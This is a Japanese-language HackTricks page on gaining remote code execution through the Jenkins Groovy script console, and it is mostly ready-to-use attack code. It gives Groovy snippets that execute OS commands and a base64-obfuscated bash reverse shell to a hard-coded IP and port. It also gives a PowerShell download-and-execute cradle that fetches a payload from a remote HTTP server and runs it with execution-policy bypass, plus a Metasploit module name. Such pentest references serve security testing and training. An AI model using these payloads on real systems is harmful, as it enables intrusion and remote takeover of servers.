Jenkins RCE with Groovy Script

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Jenkins RCE with Groovy Script

これはJenkinsで新しいプロジェクトを作成するよりも騒がしくありません。

  1. _path_jenkins/script_に移動します。
  2. テキストボックスにスクリプトを入力します。
python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

コマンドを実行するには、次のようにします: cmd.exe /c dir

linux では、次のようにできます: "ls /".execute().text

テキスト内で quotessingle quotes を使用する必要がある場合は、"""PAYLOAD""" (トリプルダブルクォート) を使用してペイロードを実行できます。

別の便利なgroovyスクリプト は ( [INSERT COMMAND] を置き換えます):

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Linuxにおけるリバースシェル

python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windowsでのリバースシェル

PSリバースシェルを使用してHTTPサーバーを準備し、Jekingを使用してそれをダウンロードして実行できます:

python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

スクリプト

このプロセスはこのスクリプトを使って自動化できます。

MSFを使用してリバースシェルを取得できます:

msf> use exploit/multi/http/jenkins_script_console

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする